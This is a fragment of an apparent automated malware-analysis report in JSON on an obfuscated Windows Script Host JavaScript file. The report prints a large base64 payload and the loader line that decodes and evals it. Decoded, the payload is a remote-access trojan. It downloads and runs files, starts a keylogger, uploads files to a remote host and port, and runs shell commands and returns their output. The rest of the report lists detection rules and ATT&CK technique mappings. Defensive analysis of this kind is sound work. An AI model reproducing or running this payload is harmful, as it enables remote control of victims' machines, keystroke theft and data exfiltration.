wID@\u003cwID@\u003cwIEZBID@\u003cwID@\u003cxID@\u003cwIDZFID@\u003cwID@\u003cyID@\u003cwIDZFID@\u003cwID@\u003czID@\u003cwIDc4ID@\u003cwID@\u003c0ID@\u003cwIDc4ID@\u003cwID@\u003c1ID@\u003cwIDc4ID@\u003cwID@\u003c2ID@\u003cwIDY0ID@\u003cwID@\u003c3ID@\u003cwIEZBID@\u003cwID@\u003c4ID@\u003cwXG5Tb3J0PT@\u003ciOw0KLy93cml0ZSBjb25maWcNCnZhciB3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShjb25maWdfZmlsZSwgMiwgdHJ1ZSk7DQp3cml0ZXIud3JpdGVMaW5lKGNmZyk7DQp3cml0ZXIuY2xvc2UoKTsNCndyaXRlci@\u003c9IG51bGw7DQp2YXIgc3RybGluay@\u003c9IGZpbGV1cmw7DQp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci@\u003crIGZpbGVuYW1lOw0KdmFyIG9iamh0dHBkb3dubG9hZC@\u003c9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOw0Kb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsNCm9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sOiIsICJtYXgtYWdlPT@\u003ciKTsNCm9iamh0dHBkb3dubG9hZC5zZW5kKCk7DQp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7DQp9DQppZi@\u003cob2JqaHR0cGRvd25sb2FkLnN0YXR1cy@\u003c9PS@\u003cyMD@\u003cpew0KdmFyICBvYmpzdHJlYW1kb3dubG9hZC@\u003c9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS@\u003cxOw0Kb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7DQpvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7DQpvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOw0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnZhciBydW5uZXIgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKTsNCnZhciBzYXZlci@\u003c9IG9iamZzb2Rvd25sb2FkLmdldEZpbGUoc3Ryc2F2ZXRvKS5zaG9ydFBhdGgNCnJ1bm5lci5zaGVsbEV4ZWN1dGUoc2F2ZXIsICIgL3N0ZXh0ICIgKyBzYXZlci@\u003crICJkYXRhIik7DQpXU2NyaXB0LnNsZWVwKDIwMD@\u003cpOw0KZGVsZXRlZmFmKHN0cnNhdmV0byk7DQp1cGxvYWQoc2F2ZXIgKy@\u003ciZGF0YSIsIHJldGNtZCk7DQp9DQp9DQpmdW5jdGlvbiBrZXlsb2dnZXJzdGFydGVyIChmaWxldXJsLCBmaWxlbmFtZSwgZmlsZWFyZywgaXNfb2ZmbGluZSl7DQpzaGVsbG9iai5ydW4oIiVjb21zcGVjJS@\u003cvYyB0YXNra2lsbC@\u003cvRi@\u003cvSU0gIi@\u003crIGZpbGVuYW1lLC@\u003cwLCB0cnVlKTsNCnZhciBzdHJsaW5rID0gZmlsZXVybDsNCnZhciBzdHJzYXZldG8gPSBpbnN0YWxsZGlyICsgZmlsZW5hbWU7DQp2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIi@\u003cpOw0Kb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsNCm9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sOiIsICJtYXgtYWdlPT@\u003ciKTsNCm9iamh0dHBkb3dubG9hZC5zZW5kKCk7DQp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7DQp9DQppZi@\u003cob2JqaHR0cGRvd25sb2FkLnN0YXR1cy@\u003c9PS@\u003cyMD@\u003cpew0KdmFyICBvYmpzdHJlYW1kb3dubG9hZC@\u003c9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS@\u003cxOw0Kb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7DQpvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7DQpvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOw0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnNoZWxsb2JqLnJ1bigiXCIiICsgc3Ryc2F2ZXRvICsgIlwiICIgKyBob3N0ICsgIi@\u003ciICsgcG9ydC@\u003crICIgXCIiICsgZmlsZWFyZy@\u003crICJcIi@\u003ciICsgaXNfb2ZmbGluZSk7DQp9DQp9DQpmdW5jdGlvbiBzZXJ2aWNlc3RhcnRlci@\u003coZmlsZXVybCwgZmlsZW5hbWUsIGZpbGVhcmcpew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQp2YXIgc3RybGluay@\u003c9IGZpbGV1cmw7DQp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci@\u003crIGZpbGVuYW1lOw0KdmFyIG9iamh0dHBkb3dubG9hZC@\u003c9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIgKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7DQpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLC@\u003cibWF4LWFnZT0wIik7DQpvYmpodHRwZG93bmxvYWQuc2VuZCgpOw0KdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOw0KfQ0KaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMj@\u003cwKXsNCnZhci@\u003cgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQpvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsNCm9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsNCm9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOw0Kb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCn0NCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpzaGVsbG9iai5ydW4oIlwiIi@\u003crIHN0cnNhdmV0by@\u003crICJcIi@\u003ciICsgaG9zdC@\u003crICIgIi@\u003crIHBvcnQgKy@\u003ciIFwiIi@\u003crIGZpbGVhcmcgKy@\u003ciXCIiKTsNCn0NCn0NCmZ1bmN0aW9uIHNpdGVkb3dubG9hZGVyIChmaWxldXJsLGZpbGVuYW1lKXsNCnZhciBzdHJsaW5rID0gZmlsZXVybDsNCnZhciBzdHJzYXZldG8gPSBpbnN0YWxsZGlyICsgZmlsZW5hbWU7DQp2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi5zZXJ2ZXJ4bWxodHRwIi@\u003cpOw0Kb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsNCm9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sIiwgIm1heC1hZ2U9MCIpOw0Kb2JqaHR0cGRvd25sb2FkLnNlbmQoKTsNCnZhciBvYmpmc29kb3dubG9hZC@\u003c9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOw0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCm9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsNCn0NCmlmIChvYmpodHRwZG93bmxvYWQuc3RhdHVzID09IDIwMCl7DQp2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuVHlwZS@\u003c9IDE7DQpvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7DQpvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsNCm9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsNCm9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7DQpvYmpzdHJlYW1kb3dubG9hZC@\u003c9IG51bGw7DQp9DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kc2hlbGxvYmoucnVuKG9iamZzb2Rvd25sb2FkLmdldEZpbGUoc3Ryc2F2ZXRvKS5zaG9ydFBhdGgpOw0KdXBkYXRlc3RhdHVzKCJFeGVjdXRlZCtGaWxlIik7DQp9DQp9DQpmdW5jdGlvbiBkb3dubG9hZC@\u003coZmlsZXVybCxmaWxlZGlyKXsNCmlmKGZpbGVkaXIgPT0gIiIpew0KZmlsZWRpci@\u003c9IGluc3RhbGxkaXI7DQp9DQpzdHJzYXZldG8gPSBmaWxlZGlyICsgZmlsZXVybC5zdWJzdHIoZmlsZXVybC5sYXN0SW5kZXhPZigiXFwiKS@\u003crIDEpOw0KdmFyIG9iamh0dHBkb3dubG9hZC@\u003c9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOw0Kb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLCJodHRwOi8vIi@\u003crIGhvc3QgKy@\u003ciOiIgKyBwb3J0ICsiLyIgKy@\u003cic2VuZC10by1tZSIgKyBzcGxpdGVyICsgZmlsZXVybCwgZmFsc2UpOw0Kb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IiwgaW5mb3JtYXRpb24oKSk7DQpvYmpodHRwZG93bmxvYWQuc2VuZCgiIik7DQp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7DQp9DQppZi@\u003cob2JqaHR0cGRvd25sb2FkLnN0YXR1cy@\u003c9PS@\u003cyMD@\u003cpew0KdmFyICBvYmpzdHJlYW1kb3dubG9hZC@\u003c9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS@\u003cxOw0Kb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7DQpvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7DQpvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOw0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnNoZWxsb2JqLnJ1bihvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoKTsNCnVwZGF0ZXN0YXR1cygiRXhlY3V0ZWQrRmlsZSIpOw0KfQ0KfQ0KZnVuY3Rpb24gdXBkYXRlc3RhdHVzKHN0YXR1c19tc2cpew0KdmFyIG9ianNvYy@\u003c9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOw0Kb2Jqc29jLm9wZW4oInBvc3QiLCJodHRwOi8vIi@\u003crIGhvc3QgKy@\u003ciOiIgKyBwb3J0ICsgIi8iICsgInVwZGF0ZS1zdGF0dXMiICsgc3BsaXRlci@\u003crIHN0YXR1c19tc2csIGZhbHNlKTsNCm9ianNvYy5zZXRSZXF1ZXN0SGVhZGVyKCJ1c2VyLWFnZW50OiIsIGluZm9ybWF0aW9uKCkpOw0Kb2Jqc29jLnNlbmQoIiIpOw0KfQ0KZnVuY3Rpb24gdXBsb2FkIChmaWxldXJsLCByZXRjbWQpew0KdmFyICBodHRwb2JqLG9ianN0cmVhbXVwbG9hZGUsYnVmZmVyOw0KdmFyIG9ianN0cmVhbXVwbG9hZGUgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQpvYmpzdHJlYW11cGxvYWRlLlR5cGUgPS@\u003cxOw0Kb2Jqc3RyZWFtdXBsb2FkZS5PcGVuKCk7DQpvYmpzdHJlYW11cGxvYWRlLmxvYWRGcm9tRmlsZShmaWxldXJsKTsNCmJ1ZmZlci@\u003c9IG9ianN0cmVhbXVwbG9hZGUuUmVhZCgpOw0Kb2Jqc3RyZWFtdXBsb2FkZS5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOw0KdmFyIGh0dHBvYmogPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dH@\u003ciKTsNCmh0dHBvYmoub3BlbigicG9zdCIsImh0dH@\u003c6Ly8iICsgaG9zdC@\u003crICI6Ii@\u003crIHBvcnQgKyIvIi@\u003crIHJldGNtZCwgZmFsc2UpOw0KaHR0cG9iai5zZXRSZXF1ZXN0SGVhZGVyKCJ1c2VyLWFnZW50OiIsIGluZm9ybWF0aW9uKCkpOw0KaHR0cG9iai5zZW5kKGJ1ZmZlcik7DQp9DQpmdW5jdGlvbiBkZWxldGVmYWYgKHVybCl7DQp0cnl7DQpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUodXJsKTsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRm9sZGVyKHVybCk7DQp9Y2F0Y2goZXJyKXt9DQp9DQpmdW5jdGlvbiBjbWRzaGVsbC@\u003coY21kKXsNCnZhciBodHRwb2JqLG9leGVjLHJlYWRhbGxmcm9tYW55Ow0KdmFyIHN0cnNhdmV0by@\u003c9IGluc3RhbGxkaXIgKy@\u003cib3V0LnR4dCI7DQpzaGVsbG9iai5ydW4oIiVjb21zcGVjJS@\u003cvYy@\u003ciICsgY21kICsgIi@\u003c+IFwiIi@\u003crIHN0cnNhdmV0by@\u003crICJcIiIsID@\u003csIHRydWUpOw0KcmVhZGFsbGZyb21hbnkgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzdHJzYXZldG8pLnJlYWRBbGwoKTsNCnRyeXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShzdHJzYXZldG8pOw0KfWNhdGNoKGVlKXt9DQpyZXR1cm4gcmVhZGFsbGZyb21hbnk7DQp9DQpmdW5jdGlvbiBlbnVtcHJvY2Vzcygpew0KdmFyIGVwID0gIiI7DQp0cnl7DQp2YXIgb2Jqd21pc2VydmljZS@\u003c9IEdldE9iamVjdCgid2lubWdtdHM6XFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLkV4ZWNRdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9wcm9jZXNzIixudWxsLDQ4KTsNCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihjb2xpdGVtcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBvYmppdGVtID0gZmkuaXRlbSgpOw0KZX@\u003cgPSBlcC@\u003crIG9iaml0ZW0ubmFtZS@\u003crICJeIjsNCmVwID0gZX@\u003cgKyBvYmppdGVtLnByb2Nlc3NJZC@\u003crICJeIjsNCmVwID0gZX@\u003cgKyBvYmppdGVtLmV4ZWN1dGFibGVQYXRoICsgc3BsaXRlcjsNCn0NCn1jYXRjaChlcil7fQ0KcmV0dXJuIGVwOw0KfQ0KZnVuY3Rpb24gZXhpdHByb2Nlc3MgKHBpZCl7DQp0cnl7DQpzaGVsbG9iai5ydW4oInRhc2traWxsIC9GIC9UIC9QSUQgIi@\u003crIHBpZCwwLHRydWUpOw0KfWNhdGNoKGVycil7fQ0KfQ0KZnVuY3Rpb24gZ2V0UGFyZW50RGlyZWN0b3J5KHBhdGgpew0KdmFyIGZvID0gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpOw0KcmV0dXJuIGZpbGVzeXN0ZW1vYmouZ2V0UGFyZW50Rm9sZGVyTmFtZShmbyk7DQp9DQpmdW5jdGlvbiBlbnVtZmFmIChlbnVtZGlyKXsNCnZhciByZS@\u003c9ICIiOw0KdHJ5ew0KZm9yKHZhciBmaS@\u003c9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZ2V0Rm9sZGVyIChlbnVtZGlyKS5zdWJmb2xkZXJzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIGZvbGRlci@\u003c9IGZpLml0ZW0oKTsNCnJlID0gcmUgKyBmb2xkZXIubmFtZS@\u003crICJeXmReIi@\u003crIGZvbGRlci5hdHRyaWJ1dGVzICsgc3BsaXRlcjsNCn0NCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldEZvbGRlci@\u003coZW51bWRpcikuZmlsZXMpOy@\u003chZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgZmlsZS@\u003c9IGZpLml0ZW0oKTsNCnJlID0gcmUgKyBmaWxlLm5hbWUgKy@\u003ciXiIgKyBmaWxlLnNpemUgKy@\u003ciXiIgKyBmaWxlLmF0dHJpYnV0ZXMgKyBzcGxpdGVyOw0KfQ0KfWNhdGNoKGVycil7fQ0KcmV0dXJuIHJlOw0KfQ0K\",xmlDOM=WSH.CreateObject(\"microsoft.xmldom\").createElement(\"mko\");",
            "source.strings[7]": "xmlDOM.dataType= \"bin.base64\",xmlDOM.text= superString.replace(/@\u003c/g,\"A\");var comObject=WSH.CreateObject(\"adodb.stream\");",
            "source.has_imports": true,
            "source.imports[10]": "superString",
            "source.imports[11]": "superString.replace",
            "source.imports[12]": "xmlDOM",
            "source.imports[13]": "xmlDOM.dataType",
            "source.imports[14]": "xmlDOM.text"
          },
          "ct": [
            "WSH.CreateObject",
            "WSH.CreateObject().createElement",
            "comObject.Open",
            "comObject.ReadText",
            "comObject.Write",
            "eval",
            "superString.replace"
          ],
          "id": "javascript",
          "mc": [
            "WSH.CreateObject",
            "WSH.CreateObject().createElement",
            "comObject.CharSet",
            "comObject.Open",
            "comObject.Position",
            "comObject.ReadText",
            "comObject.Type",
            "comObject.Write",
            "superString.replace",
            "xmlDOM.dataType",
            "xmlDOM.nodeTypedValue",
            "xmlDOM.text"
          ]
        },
        "id": 0,
        "sz": 38027,
        "ts": [
          {
            "a": "T1614",
            "c": 0.6000000238418579,
            "d": "Country code ID token (repeated)",
            "e": [
              "+ID@"
            ],
            "i": "objectives/anti-analysis/geofencing/region/cluster::country-code-id",
            "l": 1,
            "m": "B0007.003"
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 37642.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "JavaScript or TypeScript basename",
            "e": [
              "3b57e458a0b086f6d372c9784422f0fb15633519c8adbe32213d0eba88259dcd.js"
            ],
            "i": "metadata/lang/source::js-ts-source-basename",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "Writes to text file",
            "e": [
              ".Write("
            ],
            "i": "micro-behaviors/fs/write/text::write-text-file-method",
            "l": 2
          },
          {
            "c": 0.8999999761581421,
            "d": "Medium minified JavaScript line",
            "e": [
              "text.max_line_length = 37642.00"
            ],
            "i": "metadata/library/structure::js-medium-minified-line",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "eval/new Function call (flatted tamper fragment)",
            "e": [
              "eval("
            ],
            "i": "well-known/lib/flatted::flatted-tamper-eval",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Binary stream type assignment",
            "e": [
              ".Type= 1"
            ],
            "i": "micro-behaviors/fs/write/stream::adodb-type-binary-assignment",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "JavaScript file basename",
            "e": [
              "3b57e458a0b086f6d372c9784422f0fb15633519c8adbe32213d0eba88259dcd.js"
            ],
            "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Short sidecar-sized source",
            "e": [
              "text.total_lines = 3.00"
            ],
            "i": "metadata/package/config::short-sidecar-file",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "ADODB.Stream Open method call",
            "e": [
              ".Open("
            ],
            "i": "micro-behaviors/fs/write/stream::adodb-open",
            "l": 1
          },
          {
            "a": "T1059.005",
            "c": 0.800000011920929,
            "d": "Obfuscated ADODB.Stream reference",
            "e": [
              "xmlDOM.dataType= \"bin.base64\",xmlDOM.text= superString.replace(/@\u003c/g,\"A\");var comObject=WSH.CreateOb..."
            ],
            "i": "objectives/execution/interpreter/scripting/host::adodb-stream-obfuscated",
            "l": 3,
            "m": "E1059",
            "el": [
              "0x930c"
            ]
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 3.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "c": 0.8199999928474426,
            "d": "JavaScript static key string assignment",
            "e": [
              "=\"dHJ5ewp2YXIgbG9uZ1RleHQxID0gImRtRnlJSE4xY0dWeVUzUnlhVzVuUFNKTWVUaG5VVEk1YTFwWFVXZFpibXRuWkd3NVEwMUVSV2RtUTBKVVlrZHNiR0pYVm5sYV"
            ],
            "i": "micro-behaviors/crypto/symmetric/aes/library::js-static-key-string-assignment",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 20k character line",
            "e": [
              "text.max_line_length = 37642.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/reconstruct::max-line-length-20000",
            "l": 1
          },
          {
            "a": "T1059",
            "c": 0.949999988079071,
            "d": "Encoded eval() call",
            "e": [
              "comObject.Type= 1,comObject.Open(),comObject.Write(xmlDOM.nodeTypedValue),comObject.Position= 0,comO..."
            ],
            "i": "objectives/anti-static/obfuscation/encoding/content::encoded-eval",
            "l": 4,
            "el": [
              "0x93c9"
            ]
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "Interspersed hex escape sequences",
            "e": [
              "\\x6D\\x69\\x63\\x72\\x6",
              "\\x62\\x69\\x6E\\x2E\\x6",
              "\\x75\\x73\\x2D\\x61\\x7",
              "\\x61\\x64\\x6F\\x64\\x6"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-interspersed-hex-escapes",
            "l": 3,
            "m": "B0032",
            "el": [
              "0x92a8",
              "0x931d",
              "0x944e",
              "0x9393"
            ]
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High overall text entropy (encoded",
            "e": [
              "text.char_entropy = 5.76"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027.013",
            "c": 0.800000011920929,
            "d": "Single ≥1024 char encoded blob literal",
            "e": [
              "1TlVkaFYzaHNWVE5zZW1SSFZuUlVNa3B4V2xkT01FbHBkMmxWTW1oc1lrZDNkVkZZUW5kaVIyeHFXVmhTY0dJeU5HbE1RMHBPWVZkT2VXSXpUblphYmxGMVYwVXhUVk5"
            ],
            "i": "objectives/anti-static/obfuscation/payload/encrypted::large-ciphertext-blob-literal",
            "l": 3,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8799999952316284,
            "d": "Single-line packed JavaScript loader profile",
            "e": [
              "text.max_line_length = 37642.00"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::single-line-packed-loader-metrics",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Decoded unicode-escape content",
            "e": [
              "var superString=\"dHJ5ewp2YXIgbG9uZ1RleHQ \u003cunicode-escape\u003e",
              "xmlDOM.dataType= \"bin.base64\",xmlDOM.tex \u003cunicode-escape\u003e",
              "comObject.Type= 1,comObject.Open(),comOb \u003cunicode-escape\u003e"
            ],
            "i": "metadata/encoded-payload/unicode-escape",
            "l": 2,
            "el": [
              "offset:0",
              "offset:37644",
              "offset:37833"
            ]
          }
        ],
        "sha": "3b57e458a0b086f6d372c9784422f0fb15633519c8adbe32213d0eba88259dcd",
        "path": "3b57e458a0b086f6d372c9784422f0fb15633519c8adbe32213d0eba88259dcd.js",
        "type": "javascript"
      }
    ],
    "tv": "52045"
  }
}